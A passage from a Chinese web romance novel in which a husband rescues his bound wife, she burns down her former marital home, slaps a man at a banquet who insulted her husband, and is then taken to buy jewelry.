陆栩然也喜欢干这样的事儿,就爱跟他拍照! 烦人! 不过,怎么这几次回娘家感觉周时越那么不对劲呢? 以前感情这么好,现在娶了媳妇儿,就开始打自己亲妹妹了? 人家都是娶了媳妇儿,忘了娘,到他这儿就不一样。 陆京洲随着那个红色小点,移动到了主卧房间门口。 眉头紧紧皱着,将手机上的位置放大,确定自己的位置离红点越来越近……不足10米。 又看了一眼紧闭的房门,没有丝毫犹豫,抬腿,一脚踹开! 门板撞在墙上发出“哐当”一声巨响。 陆京洲带着一身戾气闯进来,视线瞬间锁定窗边,周时越赤着上身,后背还沾着几道暧昧的抓痕。 正和怀里的女人啃的难舍难分。 林舒薇的吊带滑到肩头,露着大片雪白的肌肤,双手死死勾着男人的腰。 那黏腻的姿态,毫不避讳的亲昵,像一堆油腻的垃圾糊在眼前,辣得人眼睛生疼。 陆京洲是真被恶心到了,移开视线,目光却被墙上的那幅巨大的合照吸引住了。 冷哼了一声,“大哥还真是好雅兴,在自己妹妹的房间里,和自己的小三做?” 周时越都愣住了,反应过来之后,迅速把林舒薇推到了床上,用被子将人裹住。 “陆京洲,你不要太过分,这是我家,你这属于私闯民宅?” “私闯你妹!我老婆呢?”陆京洲单手插兜,视线落在他身上,眼里是毫不犹豫的嫌弃。 “你老婆不见了,你自己去找,来问我,我怎么知道?” 周时越拿过衬衫穿上。 陆京洲没在管他,自顾自的在房间里找人。 “笙笙~” “老婆,你在哪呢?” 周时越看着他没有要离开的意思,也来了气,“陆京洲你有完没完?我没在这个房间里见过她。” 陆京洲看着试图挡在自己面前的菜鸡,没忍住,一脚踹了过去,眼里的戾气怎么也藏不住,“滚远点!老子没时间在这儿跟你废话。” “笙笙?”陆京洲到处翻找着,时不时看一下那个小红点。 视线落在了床旁边的衣柜上。 把衣柜门一扇扇拉开。 最后一扇柜门被猛地拉开,刺眼的光线瞬间涌入黑暗的衣柜。 陆京洲半蹲着,逆着光,眼里满是焦急。 岑予衿蜷缩在角落,手腕脚踝被粗麻绳死死捆着,动弹不得,嘴巴被胶布封着,后脑勺的伤口渗出血迹,染红了肩头的衣料,白色的柜壁上也溅着几滴暗红,触目惊心。 她浑身发颤,原本强撑的镇定在看清来人是陆京洲的那一刻彻底崩塌。 眼泪像断了线的珠子,大滴大滴砸在衣襟上,混着未干的血迹,晕开一片狼狈的痕迹。 “笙笙!”陆京洲瞳孔骤缩,呼吸一滞,瞬间褪去所有戾气。 小心翼翼地撕扯她嘴角的胶布,动作异常轻柔,生怕弄疼了她,“别怕,我来了,没事了。” 胶布被撕下的瞬间,岑予衿终于忍不住发出压抑的呜咽,声音沙哑破碎,“阿洲……” 林舒薇裹着被子缩在床角,她没想到陆京洲会这么快找过来。 周时越看着衣柜里满身是伤的岑予衿,大脑一片空白。 她怎么在这儿? 心脏传来尖锐的刺痛,远比之前看到照片时更剧烈。 陆京洲没理会身后两人的反应,指尖抚过岑予衿被绳子勒红的手腕。 迅速掏出随身携带的瑞士军刀,利落割断绳索,动作又快又稳,生怕划伤她分毫,“疼不疼?哪里还有伤?” 岑予衿摇摇头,眼泪却流得更凶了,扑进陆京洲怀里,紧紧抱着他。 她以为是谢司喻,没想到是陆京洲。 陆京洲将她牢牢护在怀里,抬头看向周时越和林舒薇的眼神,冰冷得能冻死人,“你们俩准备好怎么死了吗?” 第41章 岑予衿烧了婚房 “恶心!”岑予衿一想到刚才的画面,那种恶心的感觉又涌了上来,“阿洲,我想吐。” 陆京洲将岑予衿打横抱起,她的脸深深埋在他颈窝,身体仍在细微地颤抖。 他用自己的外套将她裹紧,彻底隔绝了身后那令人作呕的画面,把她抱进了浴室。 这几天是孕反最严重的几天。 她一进浴室就忍不住,趴在洗手池吐的昏天黑地。 陆京洲这才完全看清了她头上的伤有多严重,血液将头发都粘在了一起。 陆京洲看着她脆弱的样子,上前一步,犹豫着抬手轻轻拍着她的后背,替她顺着气。 岑予衿自然也发现了他的动作。 说实话……有些意外。 她以为陆京洲会嫌弃她的。 陆京洲看着一脸惨白的她,想要问的那些话全咽了回去。 顺手拿了一瓶摆在柜子上的矿泉水,拧开盖子递到她面前,“漱漱口。” 岑予衿接过来,闷了一大口,吐掉。 重复了好几次,才稍微舒服了一些,“谢谢。” 陆京洲抬手揉了揉她的脑袋,“先去医院,这两个人渣我替你收拾。” 岑予衿摇了摇头,“我自己来可以吗?” 陆京洲深吸了口气,妥协了,带着他往外走,“行!速战速决。” 见到房间里的两个人,陆京洲还是没忍住自己的怒气,“敢动我的人,周时越我给你脸了是不是?” 周时越一脸懵,下意识的看了一眼林舒薇,想到她的异常,什么都明白了。 陆京洲:“林舒薇看来是上次的教训还不够深刻,让你还有精力玩这种下三滥的把戏。” 陆京洲的视线转向周时越,嘲讽几乎要溢出来,“还有你,周时越,拉着小三,在我老婆的房间里,当着我老婆的面……你们是有什么特殊癖好吗?嗯?” “不是的……”周时越想要解释。 陆京洲却没有给他解释的机会,“不是?那你的意思是我老婆自己把自己给绑了,躲在房间里面,就为了偷看你这看起来就虚的儿童身材?” 周时越听到这话,脸一下子就黑了。 岑予衿只是淡淡地瞥了周时越一眼,那眼神像是在看一个与自己毫无关系的陌生人。 这种漠视,比任何激烈的指责都更让周时越感到难堪。 岑予衿不再看那对让她恶心的男女,转而向陆京洲伸出手,声音平静,“打火机。” 陆京洲看着她苍白却异常坚定的侧脸,没有任何犹豫,从裤袋里摸出那个银质的打火机,干脆地放到她掌心,甚至没问她要做什么。 岑予衿握紧冰冷的打火机,指尖因用力而微微泛白,径直走向床边。 用打火机点燃了床单。 火苗起初很小,舔舐着布料,迅速蔓延开来,贪婪地吞噬着一切可燃之物。 接着,她站起身,走到窗帘旁,点燃了厚重的绒布窗帘。 火焰攀爬的速度更快了,发出噼啪的声响,橘红色的光映在她冰冷的瞳孔里。 她又走向梳妆台,火苗顺势窜上,点燃了木质台面和散落的纸张。 浓烟开始弥漫,火光跳跃,映亮了墙上她与周时越的合照。 照片里她搞怪的笑容,在此刻的火光中显得格外讽刺。 “你疯了?!”周时越惊恐地大喊,想要冲上前阻止。 陆京洲却一步挡在他面前,眼神冷冽如刀,“让她烧。” 他语气平淡,却带着绝对的维护和纵容,“这脏地方,烧了干净。” 林舒薇吓得尖叫起来,裹着被子想要往外跑。 岑予衿就站在逐渐蔓延的火光中。 她亲手点燃了这间承载着他们回忆的房子。 火焰越烧越旺,吞噬着房间里的一切,也灼烧着过往。 岑予衿转过身,走向陆京洲,将打火机塞回他手里,声音依旧平静,“阿洲抱我。” 陆京洲知道她没有力气了,也没再问,俯身将人抱了起来。 岑予衿趴在他胸口,声音低低的,“其他事情交给你,别弄出人命,脏了你的手。” “放心,我也嫌脏。” 陆京洲抱着人大步往外走,把人放到车上,小心翼翼的把那个小蛋糕捧到她面前,“受惊了吧?吃点小甜品,心情会好一点。” 岑予衿看着他递过来的小蛋糕,是她最喜欢的茉莉味。 听着他小心翼翼的说话声,心里涌起一股难以言喻的感觉,心跳漏了半拍,“谢谢。” 陆京洲收回视线,车子像离弦的箭一般飞了出去。 她单手控着方向盘,另一只手抽了张纸巾递过去,语气故作轻松,眼神却不时瞟向她额角的伤,“慢点吃,没人跟你抢。” 岑予衿抬眼看他线条利落的侧脸,忽然轻声问,“你怎么会来?” 陆京洲挑眉,从储物格里摸出自己的手机扔过去,屏幕还亮着定位界面,“老太太让我告诉你一周后要带你参加个晚宴,回到家没发现你人,就顺手查了一下。” 再顺手也不是这么顺的。 明明就是刻意查的。 他的嘴真硬啊! 陆京洲顿了顿,嗓音沉下来,“头是不是很疼?” 她摇头,看着车子头都凹进去了,嘴角忍不住往上勾了勾。 半山别墅的火烧了整整一夜,直到将一切烧为灰烬消防员才赶到。 灰头土脸的周时越就这么站在别墅门口,想要救火,可杯水车薪,他无能为力。 眼睁睁的看着大火吞噬了一切。 心也跟着空了一块,最后,直挺挺的倒了下去。 第42章 侮辱我老公了,我不打你打谁? 一周的时间眨眼就过。 岑予衿前额的伤只是划伤了皮肤,没有伤到骨头,恢复的不错。 她怀孕之后就特别嗜睡。 陆京洲在床边站了许久,又看了一眼手表,最后微微俯下身,拿手指在她鼻子下面试了试还有没有呼吸。 这都下午四点了,一次都没醒过,这很难不让人怀疑人没了。 还好,还有呼吸。 岑予衿似乎是被打扰了,翻了个身继续睡,“别动我~” 在这么下去,今天的晚宴不用去了,“老婆,起床,出发了。” 陆京洲看着那张瓷白的小脸没忍住,捏了捏。 “去哪儿?”岑予衿迷迷糊糊的睁开眼睛,入目的就是陆京洲那张帅到没边的脸。 嫁个帅的都没有起床气了,看到他那张脸心情就好。 “奶奶好闺蜜的七十大寿,你忘了?” 陆京洲很自然的把人从床上抱了起来。 岑予衿已经习惯了他的靠近,这会也没有刻意躲开,“几点了?” “4点,还有两个小时出门,时间应该来得及。” 岑予衿打了个哈欠,“你怎么不早点叫我?” “迟到一点没关系。” 陆京洲把人抱到浴室,“你洗漱,我下去让人给你准备吃的,吃点再走。” 那种宴席,不可能吃饱。 “嗯。”岑予衿迷迷糊糊的揉了揉眼睛,开始刷牙。 下楼的时候,陆京洲已经让人准备好了。 岑予衿在吃饭,陆京洲在和造型师商量她的造型。 偶尔会问岑予衿的意见。 岑予衿看着那些漂亮小礼服,有点抗拒,“我……” 陆京洲看出了她的抗拒,“都不喜欢吗?” “不是,就是很久没穿裙子了可能会有点不习惯。” 陆京洲仔细回想了一下,好像还真是,凑近了一些,“我老婆这么好看,穿裙子不得变成仙女?是不喜欢穿吗?不喜欢就不穿。” 哪有出席正式场合不穿小礼服的,这样会显得很没礼貌,“也不是不喜欢穿,在周家的时候,我哥不允许我穿。” 林舒薇的腿上有疤,穿着不好看。 连带着整个周家都不能穿裙子。 那时候的她只想哄着他,他说什么就是什么。 “他管那么宽?”陆京洲淡淡评价,“有病。” “陆家没有那么多规矩,你想怎么穿就怎么穿,来老公帮你挑一套好看的昂~”陆京洲亲昵的点了点她的鼻子。 岑予衿听着他那顺口的称呼,有些无奈,不过已经习惯了。 她吃的差不多了,放下手里的碗,等着他挑选衣服。 不一会她就挑好了三套,一套鱼尾的小礼服,一套是粉色的公主裙,另一套是小旗袍。 “看看喜欢哪套?” 每一套都是温柔风的,很合适。 岑予衿想了想,最终指向最后那套浅青色的旗袍。 “我让他们在加个衬裙,搭件披肩刚好,不会冷。” 岑予衿有些意外,“你还懂这些?” 陆京洲挑眉,“你不知道的还多着呢。” 岑予衿想到他那些桃色新闻,了然的点头,“经验丰富的就是不一样。” 陆京洲听着这话酸酸的,一下子就反应过来了,“老婆这是吃醋了?” “嗯,酸着呢!” 陆京洲笑着摇了摇头,“去换衣服吧。” 岑予衿没理他,上了楼。 陆京洲挑眉,小白兔吃醋的样子还挺可爱。 他很快换好了西服,简单的做了一下造型,在楼下等她。 过了两个小时左右,人才从2楼下来。 浅青色的旗袍,领口的精致玉兰刺绣和腰间的相互呼应。 她一步步往楼下走,白色的衬裙,随着步伐摆动,一颦一笑,摇曳身姿。 她做的是盘发造型,发间别了玉兰的缠花软簪,鬓边的小碎发特意卷了一下,微微有点弧度,水滴形的珠珠耳饰随着步伐轻轻晃动,很温婉。 陆京洲听到脚步声,下意识的抬眼看去,一眼惊艳,眼睛已经长在她身上了。 怎么……会有人这么适合穿旗袍。 岑予衿被他盯的不自信了,停在了楼梯上,歪头看着他,“不……不好看吗?需不需要换一套?” 陆京洲立马起身,朝着她的方向走了过去,“不用换了,很好看。” 他走近,牵过她的小手,“不过待会得跟紧我。” “怎么了?” “看起来就是被欺负了不会还手的类型,我怕等会有人欺负你。” 岑予衿没忍住,噗嗤一声笑了出来,“我老公是陆京洲唉,谁敢欺负?” 陆京洲对于他的话很受用,“也是。” 他怕她冷,还加了一件白色的小披肩。 陆老太太看着小两口手挽着手出现,嘴都合不拢了。 自己的眼光可太好了,这俩人站在一块,谁不说一句郎才女貌? 宴会厅的水晶灯流光溢彩,岑予衿挽着陆京洲步入会场时,能明显感觉到四周瞬间安静了一瞬。 随即爆发出惊人的声响。 “这不会就是陆太太周芙笙吧?” “婚事是陆老太太一手促成的,跟着老太太一块来的肯定是了。” “那到底是谁造谣周二小姐是丑八怪的,这跟仙女似的。” “陆二少跟她站在一起都衬得乖了不少。” “郎才女貌的,太般配了。” 岑予衿听到这话没忍住,笑出了声。 “怎么了?” “我听到有人说你乖。” 陆京洲挑眉,“我本来就乖。” 岑予衿:“……” 顺杆往上爬的能力可真行。 岑予衿正笑着,眼角忽然瞥见一抹熟悉的身影,随即眼睛一亮,拉了拉陆京洲的衣袖,“言言。” 不远处的苏乐言闻声回头,看见她立马快步走过来,脸上满是惊喜,“衿……笙笙,你这身也太好看了吧!” 差点就说错话了。 岑予衿也被吓了一跳。 两人亲昵地抱了抱,岑予衿侧身指了指身边的陆京洲,“这是我先生,陆京洲。” “阿洲,这是我最好的闺蜜,苏乐言。” 陆京洲颔首,语气是难得的温和,“苏小姐,你好。” 两人一见面,迅速打开了话匣子。 陆京洲是一句话也插不进去,他捏了捏她的手心,“我去二楼谈点事。” 岑予衿有些意外,“你让我一个人?” “苏小姐在,不算一个人。”陆京洲俯身,帮她理了理披肩,声音低沉,“玩得开心点,有事就叫我,或者找老太太。” 他指了指不远处正被几位老夫人围着的陆老太太,“她今天的主要任务就是显摆你。” 岑予衿点了点头,“知道了。” 两人刚在角落的沙发坐下,还没来得及说几句话,身后不远处的议论声便清晰地传了过来。 是一个带着明显醉意的男声,语气充满了不屑与恶意,“陆京洲他算老几?要不是仗着自己是陆家二少爷谁愿意搭理他?” “陆家的继承人只会是陆大少爷,看他一个进过精神病院的神经病能嘚瑟多久?” 岑予衿听着这些话莫名觉得心里不舒服。 本着多一事少一事的原则,装听不见就好。 这会强出头对自己也没什么好处,反正两人也没什么感情,那些你侬我侬全是装的。 “有娘生没娘养的玩意儿,敢雇人打老子,老子迟早弄死他。” “从精神病院出来的狗杂种……他算个什么东西,娘早死爹不疼,陆老太太还能护着他多久?总有一天,他会跪在我的脚边,求我放过他。” 岑予衿气得额角突突直跳。 想起陆京洲一次又一次的维护,她忍不了一点。 谁允许这些狗东西侮辱他了? 岑予衿拿起桌上的橙汁起身,毫不犹豫地朝着声音来源泼了过去。 橙黄色的液体精准地泼了那醉醺醺的男人满头满脸,滴滴答答地顺着他惊愕的脸往下流。 整个角落瞬间安静下来,所有目光都聚焦过来。 陈正蓬愣了好几秒,才抹了一把脸上的果汁,暴怒,“你他妈……” “嘴里不干不净,我帮你洗洗。”岑予衿声音不大,却清晰地传入每个人耳中。 “哪里来的不长眼的?” 岑予衿双手环胸,看着面前那几个看起来就不好惹的男人,一点不带怕的。 陈正蓬恶狠狠的抬手指着他,“你竟敢……” “我有什么不敢的?” 岑予衿打断他,不等他反应,抬手一记清脆响亮的耳光,狠狠甩在他脸上! “啪”的一声,所有人的视线都落在了他们身上。 “你都大庭广众侮辱我老公了,我不打你打谁?”岑予衿的声音透着冷意。 这会才有人反应过来她是谁,陆京洲刚娶的媳妇儿——周芙笙。 陈正蓬被打得偏过头去,脸上迅速浮现出红痕。 他彻底被激怒了,目露凶光,扬起手就想还击,“贱人!我就说了,怎么样?” “不怎么样。”岑予衿已经被冲昏了头脑,“你也不照照镜子,看看自己是什么玩意儿,脸歪嘴斜的狗东西,也配提陆京洲的名字。” “打不赢我老公,就编排诋毁我婆婆,你有妈怎么了?还不是教的猪狗不如。” 岑予衿抓起一个水晶果盘就往他身上砸,“我老公不务正业怎么了?也比你这种躲在暗处乱嚼舌根的狗东西要强,至少我老公要身材有身材,要颜值有颜值,要地位有地位,要钱有钱。不像你,除了那张臭嘴什么都没有。” 苏乐言眼睛瞪得老大了,自己好闺蜜就像一阵风一样扑了出去,她都没反应过来。 “我今天就撕了你的臭嘴,让你横着从这儿出去。” 岑予衿越说越气,弯腰捡起地上的碎玻璃碴,胸口剧烈起伏,伸手就想扯住陈正蓬的衣领。 陈正蓬被这么侮辱也来了劲儿,“周芙笙是吧?老子不弄死你。” 苏乐言刚要上前,一道身影的速度比她更快,从身后抱住了岑予衿的腰,“松开,我要撕了他。” “我看,谁敢动我太太一根头发。”一道泛着寒意的声音从身后响起。 岑予衿愣了2秒,才反应过来抱着她腰的人是谁。 陆京洲伸手,轻轻将还在张牙舞爪的岑予衿揽进自己怀里,大手安抚地拍了拍她的后背,声音温柔,“乖,先消消气。” 抬眼再次看向陈正蓬时,眼神已经恢复了之前的冰冷,甚至更甚。 “陈正蓬。”陆京洲语气平淡,却带着无形的压力,“看来上次的教训还不够深刻。” 陈正蓬对上他的视线,心底莫名一寒,但众目睽睽之下,强撑着道,“陆二少,是你老婆先动手打人!大家都看见了!” “哦?”陆京洲挑眉,慢条斯理地松了松领带,“我太太性子柔,她动手……” 他顿了顿,嘴角勾起一抹冰冷的弧度,一字一句,“那一定是你,该打。” 苏乐言也没客气,“是你一直侮辱陆二少,说他是狗东西,精神病院出来的疯子,有娘生没娘养的玩意儿,笙笙才动手的。” 陆京洲在二楼看下来就见她张牙舞爪的扑过去打人,没听清楚。 身边的人也立马附和,“就是,是你说话太难听了。” “陈氏建材是吧?我记住了。” 陆京洲没给他说话的机会,弹了个响指,几个像保镖的人不知道从哪里窜出来,大庭广众之下,堵着嘴把人压了下去。 嚣张至极,却一个人也不敢阻止! 整个宴会厅落针可闻。 陆京洲说完,搂着岑予衿,旁若无人地温柔询问,“手打疼了吧?下次别亲自动手,告诉我,我来。” 他牵起她刚才打人的那只手,果然掌心有些红,小心翼翼地揉了揉,满眼心疼。 岑予衿看着他这副模样,再想起刚才自己那泼妇般的行径,脸后知后觉地烧了起来,把脸埋进他怀里,闷闷地“嗯”了一声。 陆京洲低笑,揽着她,在一片寂静中,从容的往休息室的方向走。 陆老太太和今晚的寿星宋老太太看了全过程。 宋老太太脸色不大好,“你说刚才那女孩是谁?” 陆老太太话里满是骄傲,“还能是谁?当然是我孙媳妇儿喽。” “你孙媳妇儿不是周家二小姐吗?” 陆老太太隐约觉得不对劲,“是啊,周家二小姐周芙笙嘛!” 宋老太太眉头皱的更紧了,凑近她,低声在他耳边道,“她哪里是周家二小姐周芙笙,她是周家大少奶奶岑予衿!” 第43章 我先弄死你,再殉情! 陆老太太脸上的笑容瞬间僵住,瞳孔猛地一缩,声音压得极低,带着难以置信的惊疑,“你说什么?你看清楚了?这怎么可能……” 岑予衿不是已经死了吗? 在阿洲婚礼前几天,葬礼办的可隆重了,到现在她还有点印象。 宋老太太神色凝重,人多口杂,拉着他进了休息室,锁上门才开口,“我跟岑家那位过世的老太太是手帕交,岑家还没出事之前见过几面,宋家跟周家又离得近,周家的事情也知道一些,千真万确!” 说着小心翼翼的凑近她身边,“周家从始至终就只有周时越一个孩子,哪来的什么二小姐,当时婚礼办的着急,我以为是周家的远房亲戚来着,再加上全程新娘子都盖着红盖头,我没认出来。” 陆老太太听着自己闺蜜的话,心里已经有了猜测。 怪不得那天谈条件的时候,她加了一条要岑氏。 她的目标太明确了,只是自己没有往那方面想。 原来一切都有迹可循。 她不是什么周芙笙,从始至终都是岑予衿。 周家人的那些反常,也就说得通了。 两位老太太对视一眼,都从对方眼中看到了震惊和事情的严重性。 她强压下心头的惊涛骇浪,面上迅速恢复镇定,拍了拍宋老太太的手背,低声道,“老姐妹,这事事关重大,在查清楚之前,千万保密。” 宋老太太会意地点点头,“放心吧,咱俩多少年的朋友了,京洲这孩子是我看着长大的。我也希望他能幸福。” 宋老太太重重的叹了口气,“原本还想撮合一下他和清菡,没想到这俩小兔崽子,合不来就算了,还糊弄咱俩。” “不过……就今天这件事情来看,这孩子对阿洲倒是上心。” 说着停顿了2秒,“就是不知道是真心还是假意,岑家那丫头和周家那小子,青梅竹马,感情深厚,为了娶她,那小子愣是在周家祠堂不吃不喝的跪了3天3夜。” “那小丫头也是个长情的,这两年一直在打听他的下落,那感情可不是一朝一夕就能改变的。” 陆老太太听到这话,眉头皱的更紧了些。 如果她靠近阿洲的目的本就不单纯,心里还一直有别人,那……这段婚姻就没有继续下去的必要。 陆京洲那个混小子再怎么差劲,也是自己的亲孙子。 从小过的已经够苦了,这好不容易娶了个媳妇儿,又是骗感情的…… 要是她一直在装,而阿洲陷进去了。 那受伤害的可就只有阿洲一人了。 趁着现在赶紧搞清楚事情,能挽救就尽快挽救。 另一边,陆京洲将岑予衿带到了二楼的专属休息室。 一进门,隔绝了外面的视线,岑予衿刚才那股天不怕地不怕的劲儿瞬间泄了,取而代之的是一阵后怕和心虚。 她低着头,像个做错事的孩子,偷偷抬眼瞄陆京洲。 陆京洲反手锁上门,将她轻轻按在沙发上坐下,自己则半蹲在她面前,依旧握着她的手,指腹轻轻摩挲着她微红的掌心。 “我上楼没10分钟吧,我们家小孕妇就跟人打起来了?”他语气听不出喜怒,眼神专注地落在她脸上。 岑予衿满脸不服,低着头,咬着唇瓣,一句话也不说。 “现在知道怕了?”陆京洲抬手捏了捏她的脸。 “我没想给你惹麻烦,可他们那么说,我就是忍不住。”岑予衿说到这个还是忍不住攥紧了拳头,恨不得这会再冲出去。 陆京洲看着她替自己鸣不平的模样,抬手把她耳边的碎发拨弄平整,“他们说的是事实,我早都习惯了。” 岑予衿听到这话,心猛的被刺了一下。 他说他习惯了。 这么难听的话,她听一遍都觉得难受的要命。 他……究竟是听了多少遍,才会习惯。 陆京洲看着她这副样子,心底软得一塌糊涂,哪里还有半分责怪。 “你傻不傻?”他的声音低沉而温柔,“为那种人动气,万一伤到自己怎么办?还怀着宝宝呢,不值得。” 陆京洲在2楼,也算看到了全过程,当时陈正蓬身边好多男人,个个都不是什么好东西。 她就这么一个人冲了上去,像只急了就咬人的小兔子。 那时候的他只想着赶紧抱住她,万一伤到肚子里的宝宝怎么办。 从来没有想过,她竟然是为了自己。 为了帮他鸣不平,为了维护她。 岑予衿看着蹲在自己面前的男人,抬手捧住了他的脸,“陆京洲,你听着,他们说的不对。” 她的语气急切又认真,那双总是含着水光的眸子此刻亮得惊人,里面映满了他的身影,“他们说的每一个字都不对!” 她深吸一口气,声音异常坚定,“你才不是什么神经病,你是我见过最厉害的人。你也不是没人要没人疼的,你有奶奶,现在还有我。” 说着拉着他的手放在自己的小腹上,“还有宝宝,你也会有很多很多人喜欢,谁都不可以那么说你!” 陆京洲怔怔地看着她,心脏像是被一只温暖的手紧紧攥住,酸涩又滚烫。 他习惯了冷眼和嘲讽,早已筑起高墙,此刻却被她笨拙又坚定的维护击得粉碎。 岑予衿越说越激动,眼圈微微发红,却倔强地不让眼泪掉下来,“下次谁再敢这么说你,我见一次打一次!打不过我也要打!你陆京洲是我认定的人,我们是夫妻,是一家人!” 她捧着他脸的手微微用力,仿佛要让他牢牢记住,“哪怕全世界都不喜欢你,都觉得你不好,我也会坚定不移地站在你身后!要是有人敢欺负你,我就站在你面前保护你!我……我说到做到!” 话音落下,休息室里一片寂静。 陆京洲喉结滚动,一向能言善辩的他,此刻竟一个字也说不出来。 他猛地伸手,将人紧紧地、紧紧地箍进怀里,力道大得几乎要将她揉进自己的骨血。 他把脸深深埋进她的颈窝,呼吸着她身上散发出来的淡淡茉莉花香,心情才稍稍平静下来一些。 陆京洲松开了她,指腹轻轻摩擦过她泛红的眼尾,“周芙笙,你要是敢骗我,我……我先弄死你,再殉情!” 第44章 摸个够,免费! 岑予衿的心咯噔一下。 她心虚! 她骗人了。 她骗了陆京洲,但是……现在还不能跟他坦白。 在没有感情基础的情况下知道真相,他估计真会弄死她。 “你不说话是怎么回事啊?不会是有什么事情瞒着我吧?” 岑予衿想都没想,立刻否认,“怎么会呢?那你说说,我瞒着你啥了?” 陆京洲抬手捏了捏她的小脸,“你最好是!” “那我发个誓?”岑予衿笑着竖起三根手指头。 “要发个破誓有用,真有用的话那些个渣男渣女早就天打雷劈,下十八层地狱了。” 岑予衿提起来的心算是放下去了。 说实话,发誓她还不敢发嘞。 毕竟她做的就是天打五雷轰的坏事儿。 就是,骗人了! “那你想让我怎么做嘛?” 陆京洲拍了拍她的脑袋,“嗯,这次暂时放过你,下次可不是那么简单的了。” “好嘟~” 陆京洲起身,没说话,转身往外走。 岑予衿立刻起身,低头跟上,像只小企鹅似的。 陆京洲听到身后有脚步声,停下脚步,转身看着她,感觉有些搞笑,“你要去哪?” “我跟着你啊,要是你再被别人欺负了怎么办?你习惯了,我可习惯不了。” 岑予衿脸上的表情可凶狠了。 “我去找医药箱,给你手上擦点药。” 陆京洲指了指她身后的沙发,“回去坐着,我马上回来。” “哦~”岑予衿乖乖的转身往回走。 陆京洲的心都要化了,怎么会有人这么漂亮,这么乖! 有种想抱着她亲死的冲动! 岑予衿见他久久没有动作,被他盯得有些不自在了,“老公,你怎么啦?” 陆京洲这才反应过来自己在干嘛,“好好待着,我马上回来。” “好嘞~” 陆京洲提着医药箱回来时,岑予衿正乖乖地坐在沙发上。 抬起自己打人的那只手,反复检查。 “火辣辣的疼吧。” 他在她身边坐下,打开医药箱的动作轻柔却利落。 取出碘伏和棉签时,他的目光落在她泛红的手掌上,眉头瞬间拧紧。 “还好啦,没有你想象中的那么疼。” 棉签蘸着冰凉的碘伏小心地涂抹在伤处,带来一丝刺痛。 岑予衿下意识想缩手,却被他轻轻按住。 “现在知道疼了?多疼会才能长记性!”陆京洲的语气里是压不住的心疼,“冲上去的时候不是挺英勇?” 他低头,对着她的伤处轻轻吹了吹气。 温热的气息拂过,那点刺痛瞬间被奇异的暖流取代。 “我当时没想那么多嘛。”她小声嘟囔,“谁让他那么说你。” 陆京洲没再说话,嘴角忍不住往上勾,沉默而迅速地帮她迅速上药。 然后利落地收拾好医药箱,站起身,同时将她也拉了起来。 岑予衿见他半天没说话,率先开口哄他,“那我下次先告诉你,让你去收拾他们,这样可以了吗?” 陆京洲被她气笑,指尖在她掌心轻轻挠了挠,“还想着打架?” “你可是出了名的二世祖,你老婆不会打,你总会吧?”岑予衿像是不知道二世祖是个贬义词,那叫一个自豪。 “好,我会,下次你就叉着腰站在我旁边,我打!狠狠的往死里打!” 岑予衿重重的点头,“好嘟!” 陆京洲牵着她的手往外走,到了宴会厅也没有停下来的意思。 像是要提前离场。 “走了。” “啊?宴会还没结束吧?”岑予衿看了一眼周围,宴会才刚开始不久,就这么离开好像不太好。 陆京洲已经揽着她的腰往外走,语气不容置喙,“不待了,没意思。带你去个地方。” “去哪儿呀,酒吧?” 陆京洲皱眉,觉得那种地方不太适合她,“酒吧?你想去酒吧?” “那些地方不是你的主场吗?” 陆京洲转念一想好像也是,“你想去?” “你带我去哪我就去哪儿,真去酒吧也行,我不挑。”岑予衿像是想到了什么,嘴角微微往上勾了勾。 之后就再也压不下来了。 陆京洲看着她那表情,总觉得不太对劲儿,“你一个小孕妇,去酒吧喝不了酒,想去干嘛?” “谁说酒吧只能喝酒了,酒吧可以点男模……” 岑予衿像是这会才反应过来自己说错话了,立刻抬手捂住了嘴巴,表情有些慌乱。 陆京洲就知道,“你老公身材不好,还想去点男模?” “好不好我怎么知道,我又没有仔细看过。” 陆京洲了然,“是我的错,今天晚上就让你好好看个够。” 岑予衿抿着嘴,小脸刷一下就红了,“我……我也没有那么想看。” 陆京洲笑着把她揽进怀里。 就这样带着她,在众人诧异的目光中提前离场。 司机早在门外候着了。 “你先回去吧,我带笙笙去个地方。” 司机点头退开。 陆京洲打开副驾驶的门,先让她上车,随后帮她系好安全带,自己才绕过车头,坐在了驾驶座的位置上。 岑予衿东看看,西看看,不知道在看什么。 陆京洲系好安全带了,她还在瞄。 “找什么呢?” “看看别的女人有没有坐过这个位置啊。” 陆京洲无奈了,“别的女人坐过,你就不坐了。” “坐!但是心里有点膈应。” 陆京洲:“……” 还开始管天管地了。 没再搭理她,发动车子,出发! 车子最终并未驶向灯红酒绿的酒吧区,而是平稳地停在了市中心一家顶级珠宝品牌的高定旗舰店门前。 璀璨的灯光透过巨大的玻璃橱窗,将店内奢华雅致的陈设映照得一清二楚。 “不是去酒吧吗?”岑予衿看着眼前的珠宝店,有些错愕。 陆京洲已经下车,绕到她这边替她拉开车门,唇角勾着一抹意味深长的笑:“酒吧以后再去。至于男模……” 他俯身,帮她解开安全带,气息有意无意地拂过她的耳畔,声音低沉暧昧,“今晚回家,让你看个够,摸个够,免费,专属,还附赠全方位体验服务。” 岑予衿的脸“轰”地一下更红了,被他这直白的话撩得有些不自在,晕乎乎地被他牵下了车。 店长早已接到通知,恭敬地等在门口,亲自将两人引至静谧的VIP室。 丝绒沙发,香槟茶点,氛围极尽奢华与私密。 很快,几名戴着白手套的店员捧着数个黑色丝绒托盘鱼贯而入,轻轻摆放在他们面前的茶几上。 刹那间,整个房间似乎都被那一片璀璨华光所点亮。 钻石、彩宝、珍珠……各式各样的珠宝熠熠生辉,几乎要闪瞎人的眼睛。 “这……这是要干嘛?”岑予衿被这阵仗惊得眨了眨眼。 陆京洲姿态闲适地靠在沙发里,长臂一伸,自然地揽住她的肩膀,下颌微抬,示意她看那些珠宝。 他的声音不大,却带着十足的宠溺,“刚才让你受委屈了,给我们家小勇士补个礼物,随便挑。” 岑予衿没想到陆京洲这么豪横,她和周时越在一起那么多年。 他也送过她礼物,但是没一下子送这么多! 有一点点心动,不是对这个人,是对这个人的做法。 岑予衿想矜持一点,但是每一个都好喜欢,有点不知道该怎么挑了。 陆京洲看着她眼睛明显发光的样子,无奈的摇了摇头,“不知道该怎么挑?” “知道,但是……不太好选。” 陆京洲双腿微微交叠,“都包上。” 这三个字一说出口,他人又帅了不少,“会不会太多了?” “放心吧,就这么点,不至于让你老公破产。” 店员们动作轻柔而迅速地将选定的珠宝打包好,店长脸上的笑容完全抑制不住,“陆少,陆太太,您选定的珠宝我们会派专人送到府上。” 陆京洲淡淡颔首,随后自然地牵起岑予衿的手,“走了。” 走出店铺,晚风带着一丝凉意拂面而来,吹散了VIP室内暖融的香氛气息。 